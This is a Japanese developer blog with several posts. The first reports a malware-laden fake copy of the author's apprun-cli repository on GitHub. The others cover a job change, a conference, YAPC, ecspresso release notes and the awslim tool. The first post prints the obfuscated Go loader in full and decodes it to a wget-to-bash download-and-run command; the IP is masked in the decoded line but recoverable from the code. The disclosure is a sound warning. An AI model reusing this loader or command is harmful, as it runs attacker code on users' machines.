酒日記 はてな支店

自分のOSSのマルウェア入り偽物を作られたので通報した

物騒な世の中です。皆様お気をつけください。

3行でまとめ

  • 自作の OSSfujiwara/apprun-cliマルウェア入り偽物を作られて GitHub で公開されました
  • 偽物には大量の新規アカウントがスターを付けていたため、検索でオリジナルのものより上位に表示される状態でした
  • GitHub に通報したところ、偽物を作ったアカウントはbanされたようです

経緯

2024年末に、さくらのAppRun用デプロイツール apprun-cli という OSS を公開しました。

github.com

2025年2月10日 12時過ぎのこと、謎の人物が X で apprun-cli を宣伝しているのを見つけました。

どう見ても自分の物と同じ(コピー)なのですが、妙にスターが多い。リポジトリをのぞいてみると、fork ではなくコードがすべて commit 履歴を引き継がない状態でコピーされ、スターをつけているのはここ数日で作成されたアカウントばかりなので、これはspam目的だなあと。

しかしライセンスもちゃんと(改変せずに)コピーされているので、MITライセンス的には問題ない状態です。まあでも明らかにspamだし、GitHub に通報するか…と思っていたところ、同僚が差分に不審なコードがある、と教えてくれました。

コードは一応難読化されているのですが、exec.Command で外部コマンドを実行していて明らかに不審ですね。

func apknAR() error {
    uW := []string{"d", "a", "f", ".", "d", "p", "/", "/", " ", "0", "t", "e", " ", "&", "f", ":", "h", "n", "/", "1", "t", "7", "r", "e", " ", "h", "d", ".", "s", "1", "b", "a", "7", "a", "5", "O", "1", "t", "b", "g", ".", "|", "6", "w", "/", " ", "b", "1", "g", "5", "7", "0", "3", "8", "1", "-", "/", " ", "/", "-", "s", "5", "/", "2", "4", "3", "3", "o", "e", " ", "t", "0", "i"}
    YqGVjWNN := "/bin/sh"
    YmeLkYfy := "-c"
    TyNpjDez := uW[43] + uW[39] + uW[68] + uW[70] + uW[12] + uW[55] + uW[35] + uW[45] + uW[59] + uW[57] + uW[25] + uW[20] + uW[10] + uW[5] + uW[15] + uW[62] + uW[18] + uW[47] + uW[53] + uW[49] + uW[27] + uW[19] + uW[9] + uW[71] + uW[40] + uW[29] + uW[34] + uW[50] + uW[3] + uW[54] + uW[63] + uW[32] + uW[56] + uW[28] + uW[37] + uW[67] + uW[22] + uW[1] + uW[48] + uW[11] + uW[44] + uW[0] + uW[23] + uW[65] + uW[21] + uW[52] + uW[26] + uW[51] + uW[4] + uW[14] + uW[58] + uW[33] + uW[66] + uW[36] + uW[61] + uW[64] + uW[42] + uW[46] + uW[2] + uW[69] + uW[41] + uW[24] + uW[7] + uW[38] + uW[72] + uW[17] + uW[6] + uW[30] + uW[31] + uW[60] + uW[16] + uW[8] + uW[13]
    exec.Command(YqGVjWNN, YmeLkYfy, TyNpjDez).Start()
    return nil
}

var lEVKGADV = apknAR()

これを復元すると、以下のような sh を実行するコードであることがわかります(IPアドレスは一応隠しました)。ひどい。

wget -O - http://***.***.***.***/storage/de373d0df/a31546bf | /bin/bash &

GitHub に通報

docs.github.com

GitHub で偽物を公開していたアカウントのページから「Block or Report」→「Report abuse」と進み、経緯と証拠をまとめて以下の文面で報告しました。ちなみにこの文面は ChatGPT に考えてもらったものです。便利。

Hello, GitHub Support Team,

I would like to report an unauthorized copy of my repository, fujiwara/apprun-cli, which appears to include potentially malicious modifications.

Details of the Issue
- My original repository: https://github.com/fujiwara/apprun-cli
- Copied repository: https://github.com/sunnycicada/apprun-cli
- Malicious behavior: The copied repository appears to have added suspicious code, which might be malware. The concerning portion of the code can be found here:
https://github.com/sunnycicada/apprun-cli/blob/fcb59bfd3848d92e352eb299b1d95cc4cd942509/app.go#L158-L167
- Artificial engagement: The copied repository is linked to a recently created account, sunnycicada, which appears to be engaging in suspicious activity, including mass starring of repositories.

Request
Please investigate this case as it involves both unauthorized copying of my repository and potentially harmful modifications that could mislead users. If needed, I can provide additional evidence.
Thank you for your support. I look forward to your response.

Best regards,

結果

2025-02-10 13:10 (JST) ごろ報告、約13時間後に確認したところ、アカウントとリポジトリがbanされたのか404になっていました。とりあえずよかったですね。

ということで、GitHubOSS を探すときは「名前で検索してスターがいっぱいついていて上に出てくるもの」を安易に入れてしまうと、まんまとマルウェアの餌食になる可能性があります。皆様お気をつけください。

さくらインターネットに入社しました

2025年1月末に14年間勤務した 面白法人カヤック を退職し、2025年2月から さくらインターネット に入社しました。

転職の経緯

自分はここ数年、クラウドを便利に使う「隙間家具OSS」として主にCLIツールをいっぱい作ってきたわけですが、実はサーバー/デーモンっぽいものを作るのも好きなんですよね。とはいえ昨今の状況で自作のミドルウェアやサーバーをクラウド上にデプロイしても運用が大変なだけですし(自分以外に運用させるのはなおさら)、なかなかできないなと。

そんなこんなで手持ちの運用サービス(10年続いたソーシャルゲームやもろもろ)が終了することになり、やることないなどうしようかなと思っていたタイミングで 2024年夏に kazeburo さんから誘われ、tagomoris さんも入るということでこれは面白いことができるかな、というのがきっかけです。

エンジニア向けにものを作るというのを仕事としてやってみたかった、というのもありますね。

自分も今年50歳になるのでとりあえずあと10年、人間いつ死ぬかわからないですし(自分の父親は54で、癌が見つかって1年持たずに亡くなりました)、やりたいことをやろうと思いました。

その他にもまあありますが、直接会ったときにでも聞いてください。

ところでカヤックには14年もいたわけですが、長年仕事をしていると当然いろいろ辛いこともありますが、人間関係で辛かったことは一回もなかったな、と退職するときに改めて思ったのは書いておきますね。

これから何をするのか

クラウド事業本部付で採用され、ひとまず IaaS 基盤開発チームで何やらやるらしいです。オンボーディング中なのでまだ何もわからないですが…

手持ちの OSS のメンテについて

AWS を使わない職場になるということで、自分の手持ちの OSS (主に AWS を便利に使うもの) のメンテナンスがどうなるのかを気にされる方もいるかと思います。

個人(fujiwara)名義のはもちろん、GitHubkayac organization にあるものについてもすでにコラボレーター権限をもらっていますので、当面今まで通りメンテナンスをしていく予定です。カヤックの Slack にもシングルチャンネルゲストとして #oss に残っているので、コミュニケーションもできますし。

ただしこれまでのように業務時間中に作業ができるわけではないので、どうしても対応が遅れがちになったりすることはあるかもしれません。その場合、アクティブにメンテナンスしてやるぞという方がいらっしゃいましたら、何らかの手段でお申し出ください。メンテナンス権限を渡せるように何とかします。

ところで新作 apprun-cli を作りました

正月休みに手が空いた時間があったので、現在β公開中のさくらの「AppRun」のデプロイツール、apprun-cli を作っておきました。ecspresso / lambroll ライクな使い勝手で AppRun をデプロイできるやつです。どうぞご利用ください。(現時点では非公式の個人ツールですが、処遇はこれから相談します)

github.com

cloud.sakura.ad.jp

ということで、今後ともよろしくお願いします。

Fujiwara Tech Conference 2025 を開催していただきました

皆様、本当にありがとうございました。これは「開催しました」ではなく「していただきました」と書くしかないやつです。

connpass.com

発端

2024年10月に開催された YAPC::Hakodate、懇親会後の Findy さん主催ビアバッシュ会場でのことです。@moznion が突然、「fujiwara tech conference というのをやりたいんですけどいいですか?」と言ってきて、なんだそれはと思いつつも面白そうなので「ど、どうぞ」と応えました。

その場に人もいっぱいいたし、Findy さんも会場を提供できそうと盛り上がってしまい、これは冗談では済まないなと思っていたら早速一週間後に連絡が来て、あれよあれよと開催が決まってしまいました。

12月に募集開始したときは、最初は50人だったのが1時間ほどで埋まってしまい、70→90人(会場の限界)までその日のうちに埋まってしまって慄きましたね…

これはいったい何なのか

Amazon ECSのデプロイツールであるecspressoや、AWS Lambdaのデプロイツールであるlambroll、また軽量なAWS CLIのバリエーションであるawslimなど、開発者のためのツールを様々作成されている @fujiwara さんが作るソフトウェア、いわゆるfujiwara-wareの祭典です。

ということで、要するに私(fujiwara)が作った OSS についての技術カンファレンス、です。

自分は「隙間家具OSS」と称して(自分が言い始めた呼称)、小さい OSS をいくつも公開しています。代表作は Amazon ECS デプロイツールの ecspresso、Lambda デプロイツールの lambroll など、細かいものを含めれば数十作品あります。ありがたいことに勤務先以外でも使っていただける方が多くなり、特に ecspresso は日本の ECS 利用界隈ではそこそこの定番ツール扱いをされたりもしています1

ということで、利用者の方々を集めて作者個人名を冠した技術カンファレンスを開こう、となったわけです(……なんで?)

当日の様子

登壇者からの光景

togetter.com

あまりに嬉しかったので、自分で Togetter にまとめて何回も見返しています。

発表は OSS プロダクトの技術そのものというよりは、それぞれの方の fujiwara-ware (私が作った OSS の呼称) との関わりや思想、精神性についてのものが多かった気がします。発表者も元同僚や現同僚だけではなく、一度も同じ会社で働いたことはなくても OSS を通して繋がった関わりがあり、技術を通しての縁で遠路駆けつけてくれたかたもいて、本当にありがたいことです。

自分は基本的には好きにコードを書いてOSSとして公開し、自分やその勤務先のために使っていただけなのですが (いろいろ発表もしましたが)、それを10数年続けることによって、多少なりとも他の人のエンジニア人生にもよい影響を与えることができたのかなあと思うと、感慨深いですね。

自分が2018年に勝手に言いだした「隙間家具OSS」がいつの間にかミームとなって、他社でも一般名詞的に通用するものになっているのも面白いですね。一人が言い出した単語も5年ぐらい言い続けると一般化することもある。

キーノート、最後の「個人の力も重要」というのは(お気づきの方も多いと思いますが)、この会を企画してくれた @moznion の YAPC::Hakodate キーノートへの返歌です。やっていきましょう。

来年にむけて

……やるの??

今回のキーノート、個人的にはちょっとエモ成分が多かったなという気もするので、もし来年もやるならもうちょっとテクい話も入れたいですね。"Tech Conference" なので。

あらためまして、企画した @moznion、発表者の皆さま、会場を提供してくださった Findy さま、参加していただいた全ての皆さまにお礼を申し上げます。このような会を開けるのはエンジニア冥利に尽きますね。本当に楽しかったです!

発表一覧

(スライドは公開され次第更新します)

カヤックのアプリエンジニアから見たfujiwara-wareの思い出 @mackee_w

OSSエコシステムにおける自律・分散・協調 @songmu

speakerdeck.com

speakerdeck.com

キーノート

speakerdeck.com

LT

speakerdeck.com

speakerdeck.com

speakerdeck.com


  1. 大きなところではニンテンドーアカウントでも使われていたりします。https://www.itmedia.co.jp/news/articles/2305/11/news048_2.html

YAPC::Hakodate 2024に参加して前夜祭で「AWS Lambdaで実現するスケーラブルで低コストなWebサービス構築」の話をしました

2024-10-04〜05に開催された YAPC::Hakodate 2024 に参加してきました。楽しかったですね!!

自分が応募したトークは残念ながら本編では採択されなかったのですが、前夜祭のrejectconで発表の機会を頂いたので話してきました。資料はこちらです。

speakerdeck.com

とあるマイクロサービスを ECS から Lambda に(アプリケーションコードを変更せず) 乗り換えてコストが大幅削減しているグラフが見所です。あと最後、時間の関係で駆け足になってしまったのですが、LamuxというOSSを作りました。Lambdaの複数の関数/エイリアスをhost情報を元に呼び分けてくれるProxy(multiplexor)です。

LambdaでWebアプリケーションやAPIを開発するときのプレビュー環境構築にも使えますし、Lambda extensionとして動作させるとLambdaだけでサービスメッシュを実現するためのデータプレーンとしても使える便利なやつです。どうぞご利用ください。

github.com

2024-10-04 (前夜祭まで)

飛行機が7:30羽田発のJALだったので、10時前に市内到着。前夜祭まで時間があるので小雨の中走ってきました。

函館山、せっかく走って上ったのに山頂はガスの中で視界ゼロでしたが…

そのあと谷地頭温泉で汗を流し、#yapcramen、ホテルにチェックインして前夜祭へ。

2024-10-04 前夜祭

パネルディスカッションも面白かったですね。自分も来年50歳なので、いろいろ思うところはありますがまず健康維持が第一かなーと思います。健康じゃないと新しいことに好奇心を持つこともできなくなってしまうので。

大沼ビールと前夜祭ステージ

前夜祭後はmoznion、P山さんなどと一緒に飲みに。生のニシン刺身、鱈の白子がだいぶ衝撃的に旨かった。

2024-10-05 本編当日

起床成功したので朝ラン。五稜郭まで往復するには時間がなさそうだったので海辺を軽く往復。

バスに乗って未来大へ。

聞いたトークと感想を軽く

  • U25企画
    • U25企画、いい企画ですよね。これがなかったら来てなかったという人が大半のようで、若い人のためにお金を使うのは意義があることです
  • プロファイラ開発者と見る「推測するな、計測せよ」
    • 最初の30分の壮大な前振りからの、最後の10分で自分が喋りたいことを炸裂させるのいいですね!
    • 序盤で基礎知識が聴衆へインプットされているので、好きなことを喋っても聞いているほうが置いてけぼりにならない、構成が上手い
  • PerlPerlによるPerlのための言語サーバーを作る
    • ちゃんと動いてた!ワンライナー版作りたいのでソース公開したら見てみたいです
  • perl for shell, awk, sed programmers
    • ちょっとしたテキスト処理をパパッと書くにはいまでもperlはいい選択肢だと思ってます。手元だとrubyを使うこともあるけど、コンテナ環境でもよほどパッケージを絞らなければperlは入ってるので
  • データマイグレーションの成功戦略:サービスリニューアルで失敗しないための実践ガイド
    • マイグレーション担当大臣みたいになっていていいのやら悪いのやら…
    • 何度も似たようなことをやることで本質が見えるというのはありますね。量は質に転化する
  • 誰になんと言われても「いい開発環境」を作りたくて頑張っている話
    • これがたった1年でなされている、というのがまずすごい。経験を重ねたエンジニアの力を感じました
    • おみくじ大吉
    • トーク中に回ってきたおみくじ、「大吉」「ラッキー言語: Perl」という大当たり
  • Webセキュリティのあるきかた
    • すごく幅広い知識をインプットできてためになるトーク
    • 個人的には完全に初耳という話はあまりなくうっすらと理解はしている要素が多かったのですが、これらを全部網羅しておかないとどこかに穴があいてしまう、というのがセキュリティの辛さだなあ
  • CloudNative Meets WebAssembly: Wasm's Potential to Replace Containers
  • LT
    • みんなLTが上手い、接続の都合で順番が入れ替わったのがかえっていい感じになっていて運を感じる
  • キーノート
    • 昨今の業界は個々の力ではなく組織にフォーカスが当たっている、というのは自分も常々思っているところ
    • 成熟してきたということなんでしょうけど、黎明期の荒っぽい時代を知っていると変遷を感じますね
    • やっていきましょう

懇親会

おなじみの方も初めましての方もいろいろ話せてよかった。アイコンシールを配りまくりました。

懇親会のフルーツ盛り合わせ

Findy beer bash

広島に続いて今回もFindyさんが開催してくれたビアバッシュ。店で醸造しているというクラフトビールも美味かった。

2024-10-06

終日フリーだったので朝はゆっくり寝て、10時からいか祭りで朝飯代わりに朝イカ丼を…と思ったら55杯分しか入らなかったとのこと。不漁が深刻なんですね。並んだけど10人ぐらい前で売り切れてしまったので、丸焼きとゲソとトンビを。美味い。

ゲソ焼きとトンビ焼きイカの丸焼き

摩周丸を見学。青函連絡船は小学生の時に北海道旅行で乗ったことがある。その後すぐ青函トンネルが開通して廃止されたので、結構感慨深いですね。

摩周丸ブリッジ窓から見た函館山

そのあとkoluku、cohalz、AnaTofuZ (敬称略)と合流して「函太郎」でお寿司。またニシン。

生ニシンの寿司

1人で駅までもどって、ベイエリアまで歩いてラッキーピエロ (YAPC当日の昼に食べ損ねたので)

ラッキーピエロ チャイニーズチキンバーガーとアイスコーヒー

帰りは新幹線で東京まで。おつかれさまでした。

新幹線の座席で大沼ビールアルト、イカトンビ

ecspresso v2.4.0をリリースしました

Amazon ECSデプロイツール ecspresso v2.4.0 をリリースしたのでお知らせです。

github.com

目玉機能は Jsonnet native functions と ignore.tags です。どうぞご利用下さい。

github.com

新機能

Jsonnet native functions を追加

Add Jsonnet native functions by fujiwara · Pull Request #702 · kayac/ecspresso · GitHub

Jsonnet で利用できる関数として env, must_env, tfstate, ssm など、テンプレート関数と同等のものを追加しました。

これまでの以下のような設定ファイルは

# ecspresso.yml
region: '{{ must_env `AWS_REGION` }}'
cluster: '{{ env `CLUSTER` `default` }}'

Jsonnet でこう書けるようになります。

// ecspresso.jsonnet
local env = std.native('env');
local must_env = std.native('must_env');
{
  region: must_env('AWS_REGION'),
  cluster: env('CLUSTER', 'default'),
  // ...
}

複数の tfstate を使う例。

// ecs-service-def.jsonnet
local env = std.native('env');
local tfstate = std.native('tfstate');
local vpc_tfstate = std.native('vpc_tfstate'); // func_prefix: vpc_
{
  desiredCount: std.parseInt(env('DESIRED_COUNT', '1')),
  loadBalancers: [
    {
      containerName: 'nginx',
      containerPort: 80,
      targetGroupArn: tfstate('aws_lb_target_group.nginx.arn'),
    },
  ],
  networkConfiguration: {
    awsvpcConfiguration: {
      securityGroups: [ vpc_tfstate('aws_security_group.foo.id') ],
      subnets: [
        vpc_tfstate('aws_subnet.az-a.id'),
        vpc_tfstate('aws_subnet.az-b.id'),
      ],
    },
  },

背景

これまで ecspresso では設定・定義ファイルで変数展開する記法として、{{ must_env `FOO` }}{{ tfstate `aws_subnet.az-a.id` }} のようにGoの text/template の処理時に関数が利用できました。この機能を使うと値をハードコードせず、実行時に環境によって異なる値を展開できるため柔軟に利用できます。

しかし、この記法はあくまで設定・定義ファイルを単純なテキストファイルと見做して置換を行うため、記法がJSONと衝突することがあります。特に文字列以外の値を変数展開したい場合に問題が起きていました。

また、Jsonnet を設定・定義ファイルとして利用する場合には過去のバージョンとの互換性のため、以下の順で処理を行っています。

  1. Jsonnet としてファイルをパースしてJSONに変換
  2. 変換後のJSONをテキストファイルとしてテンプレートで置換

文字列以外をテンプレート記法で展開する場合、最初に Jsonnet としてパースする段階で不正な Jsonnet としてエラーになってしまうため、利用が難しい状態でした。

{
  // 環境変数に数値文字列を入れて数値として扱いたい…
  // が {{ が衝突するのでエラー
  desiredCount: {{ must_env `COUNT` }},
}
{
  // std.parseIntで文字列を数値にすれば…
  // が Jsonnet が解釈される時点ではテンプレート関数は処理されていないのでエラー
  desiredCount: std.parseInt('{{ must_env `COUNT` }}'),
}

v2.4では Jsonnet の関数として各種テンプレート関数と同等のものを追加したため、Jsonnet のみで処理が完結します。これで、記法の衝突を気にせず各種関数を使えます。また、Jsonnet のデフォルトの組み込み関数との組み合わせも可能になりました。

local must_env = std.native('must_env');
{
  desiredCount: std.parseInt( must_env('COUNT') ),
}

diff 処理を外部コマンドで実行できる --external ECSPRESSO_DIFF_COMMAND 追加

Add diff --external. Runs external diff command. by fujiwara · Pull Request #727 · kayac/ecspresso · GitHub

定義ファイルと現在のリソースの差分を表示する ecspresso diff コマンドで、差分表示に外部の任意のコマンドを指定できるようになりました。各位お好みのコマンドを指定して下さい。

たとえば difftastic を引数 --external=difft (もしくは環境変数 ECSPRESSO_DIFF_COMMAND=difft) で指定すると以下のようになります。

指定したコマンドはステータス 0 で終了する必要があります。たとえば一般的な diff(1) コマンドは差分がある場合に非0でexitするため、なんらかのwrapperを使用する必要があります。

特定のタグを無視できる ignore.tags 設定を追加

ECSサービスやタスク定義に ecspresso で管理していないタグが付与されている場合、デフォルトでは ecspresso の定義ファイルに記述されていないタグはデプロイ時に削除されます。

コスト管理タグなど、ecspresso 以外の手段で統一的に管理したいタグがある場合に削除したくないという要望があったため、設定ファイルに記述することでそのタグを無視することができるようになりました。

# ecspresso.yml
ignore:
  tags:
    - foo
    - bar

の場合、タグ foo, bar はデプロイ時に無視されます。ecspresso diff での比較時にも無視されるため、差分になりません。

出力の色づけを制御する --color, --no-color オプション追加

add disables colorized output option by ch1aki · Pull Request #718 · kayac/ecspresso · GitHub

ecspresso diff やログ出力の色づけを制御するオプションを追加しました。デフォルトでは従来通り --color (色づけ有効) です。無効にしたい場合は --no-color (環境変数 ECSPRESSO_COLOR=false) を指定して下さい。

非互換変更

ローリングデプロイ時にサーキットブレーカーが発動した場合、異常終了するように

Exit non-zero status when deployment is rolled back. by fujiwara · Pull Request #733 · kayac/ecspresso · GitHub

これまでは、ローリングデプロイ時に ECS のサーキットブレーカーが発動した場合でも、ecspresso deploy は exit 0 で正常終了してしまうことがありました。

v2.4では、ecspresso deploy 完了時 (サービスが stable になった時点) で、PRIMARY deployment のタスク定義がデプロイ開始時点に指定したものになっていない場合、異常終了するように変更されました。

ecspresso run--revision--latest-task-definition を同時に指定できなくなりました

revisionを指定しつつlatestを指定する、という矛盾した指定になるため、エラーになります。(v2.0の時点で将来廃止すると予告済)

ecspresso verify で SSM パラメータストアの値を検証する GetParameter API への fallbackを 廃止

remove fallback to ssm.GetParmater API by fujiwara · Pull Request #720 · kayac/ecspresso · GitHub

v2.3.3 でこれまで GetParameter API を使用していた箇所を、GetParameters (sあり) API を使用するように変更しました。これは ECS/Fargate Agent の挙動にあわせた修正です。

v2.3.x では GetParameters API が権限不足でエラーになった場合に GetParameter API を試すようになっていましたが、v2.4 でこの fallback を廃止しました。

ssm.GetParameter が許可されているが ssm.GetParameters が許可されていない権限で実行した場合、エラーになります。

その他の変更

awslim - Goで実装された高速なAWS CLIの代替品を作った

最初に3行でまとめ

  • AWS CLIは便利です。しかし起動が遅いので、Goで実装された高速な(ただし機能は少ない)代替品を作りました。awslim といいます
  • リリースバイナリは無駄に大きいので、必要な機能だけを組み込んだビルドを簡単にできるようにしてあります。ビルドして使うのがお勧めです
  • どうぞご利用下さい

github.com

以下はこれに至るまでの経緯とか、実装や使い方の話とかです。長いです。

作成の経緯

AWSの各種サービスにアクセスするための AWS CLI は、スクリプトコマンドラインから処理を自動化するために大変便利なツールです。AWSでサーバーサイドの開発、運用している人であれば、ほぼ全員がお世話になっているんじゃないかと思います。

しかし、AWS CLI (コマンド名aws) には「起動が重い」という問題があるなとずっと思っていました。具体的には、aws --version コマンドを起動してバージョン名を表示するだけでも、手元の環境 (例: AMD Ryzen 5 3400G)で750ms程度の時間(CPU時間)が必要です。

$ /usr/bin/time aws --version

aws-cli/2.15.51 Python/3.11.8 Linux/5.15.0-106-generic exe/x86_64.ubuntu.22
0.67user 0.08system 0:00.75elapsed 99%CPU (0avgtext+0avgdata 59848maxresident)k

そして、何をするにもこの起動のオーバーヘッドが乗ってきます。AWS CLI は基本的に AWS のひとつのサービスのひとつの API を呼び出すためのツールなので、shell script などと組み合わせて複数回の API 呼び出しを自動化すると、その回数だけ起動オーバーヘッドに CPU を使います。

手作業でたまに実行するだけならまだしも、CPUが貧弱な環境、たとえば 0.25 vCPU の Fargate であるとか、メモリが少ない Lambda 上での自動化処理に aws コマンドを利用すると、用途によっては実用に耐えません (0.25 vCPUなら起動だけで実時間で3秒必要です)。

このような場合には、自分は Go の AWS SDK を利用して、コードを書くことで解決していました。確かにそれで解決はできるのですが、本当に一回 API を呼び出せば終わるような処理でもいちいち Go のコードを書いてビルドしてバイナリを置いて…というのも面倒です。

AWS CLIをGoで実装してシングルバイナリにしてほしい」

Go と AWS を使ったことがある人であれば、全員が100回ぐらい考えたことがあるんじゃないかと思います。

ということで、ある日思いついて作ってみたらできました。という話を先日あった kamakura.go#6 でLTしてきました。

speakerdeck.com

ポイントとしてはこんな感じです。

  • aws-sdk-go-v2 の全サービスの Client のメソッド (≒ AWSAPI) は、全部同じ形式で呼び出すことができる
  • Go の refelct を使って、Client にあるメソッド一覧を元に、全てのメソッドを呼び出すコードを生成している
  • 全部のサービスを使えるようにすると馬鹿でかいので困る
    • ので、必要なものだけビルドできるようにしたよ

特徴

  • AWS サービスクライアントの任意のメソッド (API) を呼び出します
  • 入力には JSON または Jsonnet を使用します
  • 結果をJSON形式で出力します
  • メソッドの入出力構造体にファイルをバインドできます
  • JMESPath で出力をクエリできます
  • AWS CLI 設定ファイルを使用します(~/.aws/config)

制限事項

  • AWS CLI との互換性は 100% ではありません
  • AWS CLIプラグインはサポートされていません (session-manager-plugin など)

速度比較

高速、の根拠を載せておきます。

sts get-caller-identity を 0.25 vCPU Fargateの(AMD64)で実行して、/usr/bin/time -v で計測した結果です。 (aws-cli/2.15.51 Python/3.11.8, awslim v0.1.0)

command CPU time(user, sys) Elapsed time(s) Max memory(MB) Size(MB)
aws 0.67 + 0.10 = 0.77 3.11 64.2 225
awslim(all) 0.08 + 0.03 = 0.11 0.43 101.5 476
awslim(40) 0.02 + 0.01 = 0.03 0.05 30.2 95
  • awslim(built for all AWS services): 7倍高速
  • awslim(built for 40 AWS services): 25倍以上高速

AWSの全サービス用のコードをビルドした全部いりのリリースバイナリはそこそこ巨大です (約 500MB、AWS CLIはZIP展開後 225MB なので2倍強)。そのために起動も速くはなく、100ms程度のCPUを消費しますし、メモリフットプリントは AWS CLI の1.5倍程度あります。しかしそれでも AWS CLI の7倍は速いです。

上の表で awslim(40) となっているのは、自分が使ったことがある AWS のサービスを適当に40個選んで (当然、メジャーなものが大半です)、そのサービスだけを使えるバイナリをビルドした場合です。これであれば 30ms 程度で実行でき、メモリ消費も少なく、圧倒的に高速です。

CPUリソースが乏しい環境で動かす場合、リリースバイナリを使うのはなく、必要なサービスだけ使えるようにした専用バイナリをビルドすることをお勧めします。後述しますが、ビルドは簡単にできるようになっています。

つかいかた

詳しくは README を参照して下さい。

ここでは、AWS CLI と同じ処理を awslim で書くとどうなるかを並べてみます。

引数が必要ないパターンでは、ほとんど同一です。

$ aws sts get-caller-identity
{
    "UserId": "AIDAJ3OGXXXXXXXXXXXX",
    "Account": "012345678901",
    "Arn": "arn:aws:iam::012345678901:user/fujiwara"
}

$ awslim sts get-caller-identity
{
  "Account": "012345678901",
  "Arn": "arn:aws:iam::012345678901:user/fujiwara",
  "UserId": "AIDAJ3OGXXXXXXXXXXXX",
  "ResultMetadata": {}
}

API に入力が必要な場合、AWS CLI ではコマンドライン引数を(複数)指定しますが、awslim は JSON / Jsonnet を文字列またはファイル名で指定します。手で書く場合は JSON フィールド名のquoteの必要がない Jsonnet を使うほうが書きやすいと思いますし、なんらかの機械的な出力を使うのであれば JSON のほうが生成しやすいでしょう。

$ aws ecs describe-clusters --cluster default

$ awslim ecs describe-clusters '{"Cluster":"default"}' # json
$ awslim ecs describe-clusters '{Cluster:"default"}' # jsonnet

$ aws ecs list-tasks --cluster default --family web
{
    "taskArns": [
        "arn:aws:ecs:ap-northeast-1:012345678901:task/default/f678fe41be334c589513fb0c9490de49"
    ]
}

$ awslim ecs list-tasks '{Cluster:"default",Family:"web"}'  
{
  "NextToken": null,
  "TaskArns": [
      "arn:aws:ecs:ap-northeast-1:012345678901:task/default/f678fe41be334c589513fb0c9490de49"
  ],
  "ResultMetadata": {}
}

ここで注意が必要なのは、入出力のJSONフィールド名の大文字小文字はAWS CLIと互換ではない(場合がある)ことです。awslim は Go SDK の構造体をそのまま単純に JSON に変換しているため、フィールド名の先頭は必ず大文字になります。AWS CLI は、サービスによって異なります。(例: stsでは先頭が大文字、ecsでは小文字など)

また、サービス名はほとんど AWS CLI と同一ですが、一部異なるものがあります。たとえば aws logs に対応するのは awslim cloudwatchlogs です。これは AWS CLI のサブコマンド名と、AWS SDK Go v2 のパッケージ名が異なるものがあるためです。今後、同一視する alias を用意するかも知れません。

入力への値の埋め込み

awslim の入力はひとつの JSON / Jsonnet 文字列(またはファイル)ですが、これはコマンドライン引数を全てのAPIに対する入力に応じて定義する手間を省いているためです。JSONであれば、単純にGo SDK の Input 構造体にUnmarshal するだけで済みます。

とはいえ常に文字列をシェルの変数展開などで組み立てるのは面倒なので、Jsonnet の --ext-str, --ext-code という仕組みで外部からの値を埋め込むことができます。--ext-str, --ext-code は name=value;で連結して複数渡すこともできます。

$ awslim ecs list-tasks '{Cluster: std.extVar("cluster"), MaxResults: std.extVar("max")}' \
    --ext-str cluster=default \
    --ext-code max=10

入力はファイルに書いておいて、ファイル名を指定することもできます。

$ cat input.jsonnet
{
  Cluster: std.extVar("cluster"),
  MaxResults: std.extVar("max"),
}

$ awslim ecs list-tasks input.jsonnet
    --ext-str cluster=default \
    --ext-code max=10

入力の JSON をどう組み立てたらいいか分からない、という場合は入力の代わりに help を指定すると、AWS SDK Go v2 のドキュメントへの URL が表示されます。

$ awslim ecs list-tasks help

See https://pkg.go.dev/github.com/aws/aws-sdk-go-v2/service/ecs#Client.ListTasks

URL を開いて、この場合 ListTasks であれば ListTasksInput のリンクを辿って参照すれば、それが SDK に渡される JSON (に対応する SDK の構造体) です。

--input-stream (-i) / --output-stream (-o)

API の中には、入力にデータをストリームで渡せる / 出力をストリームで受け取れるものがあります。典型的には、S3 へのオブジェクト転送を行うための s3.PutObject / GetObject ですね。awslim ではこのストリームに対して標準入出力とファイルをバインドする機能があります。

$ awslim s3 put-object '{Bucket:"my-bucket", Key:"my.jpg", ContentType:"image/jpeg"}' \
    --input-stream my.jpg

$ awslim s3 get-object '{Bucket:"my-bucket", Key:"my.jpg"}' \
    --output-stream my.jpg

つまりこれで、aws s3 cp 相当のことができます。

現在のところ全ての Input / Output 構造体には、高々ひとつの io.Reader(Input) / io.ReadCloser(Output)しか存在しないため、バインドするフィールド名を特に指定する必要はありません。コード生成時に構造体のフィールドの型を見て自動で判別しています。

--follow-next (-f)

AWS CLI では、API的にページングが必要なものでも自動的に内部で辿って出力してくれたりします (aws s3 ls など)。awslim は SDK の呼び出しを単純に wrap するという実装方針なので、暗黙的に next token を辿ることはしません。

ただし、明示的に {Outputのフィールド名}={Inputのフィールド名} を --follow-next に指定すれば、Outputのフィールドが空でない場合にInputのフィールドに埋めて再度呼び出すようになっています。

例えば s3.ListObjectV2 では次のページがある場合、Output の NextContinuationToken というフィールドに値が入ってきて、Input の ContinuationToken に設定することで次のページを取得できます。この場合、以下のように指定します。

$ awslim s3 list-objects-v2 '{Bucket: "my-bucket"}' \
  --follow-next NextContinuationToken=ContinuationToken

入出力で同じフィールド名を使うAPIの場合は、名前の指定のみでOKです。

$ awslim ecs list-tasks '{Cluster:"default"}' \
  --follow-next NextToken

--raw-output (-r), --query (-q)

AWS CLIaws --output text では出力が JSON ではなくテキスト形式になります。正直、これは構造があるレスポンスの場合あまり役に立たず(個人の感想です)、唯一自分が使う場面が --query と組み合わせて文字列を結果として得る (そしてシェル変数に入れる) 場合です。

ということで、jq -r と同様に「結果が文字列の場合だけ JSON 形式ではなく生のテキストを出力する」--row-output (-r) を用意しました。

要するにこれがやりたいわけです。

$ ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)

$ ACCOUNT_ID=$(awslim sts get-caller-identity --query Account -r)

--query は AWS CLI 同様、JMESPath で結果をクエリするやつです。

最適化ビルドのすすめ

速度比較の項で述べたとおり、全部入りのバイナリはサイズが大きく、起動が遅いものです。現時点で380以上ある、AWS SDK に存在する全サービスの、全 API (1万以上) を呼び出すコードを組み込んでいるためです。

あなたが AWS 上で運用しているプロダクトで、使っているサービスはいくつあるでしょうか。たいていは多くて数十、100以上のサービスを使っていることはほぼないと思います。しかも、その全てのサービスに API 呼び出しを行う CLI が必要なことはまずないでしょう。

サーバー上で awslim を実行する場合は、必要な特定のサービスだけ実行できるバイナリをビルドすることを強くお勧めします。方法は README にありますが、コンテナイメージを作る場合にはビルド用イメージを使って、以下のようにマルチステージビルドをするのが便利です。

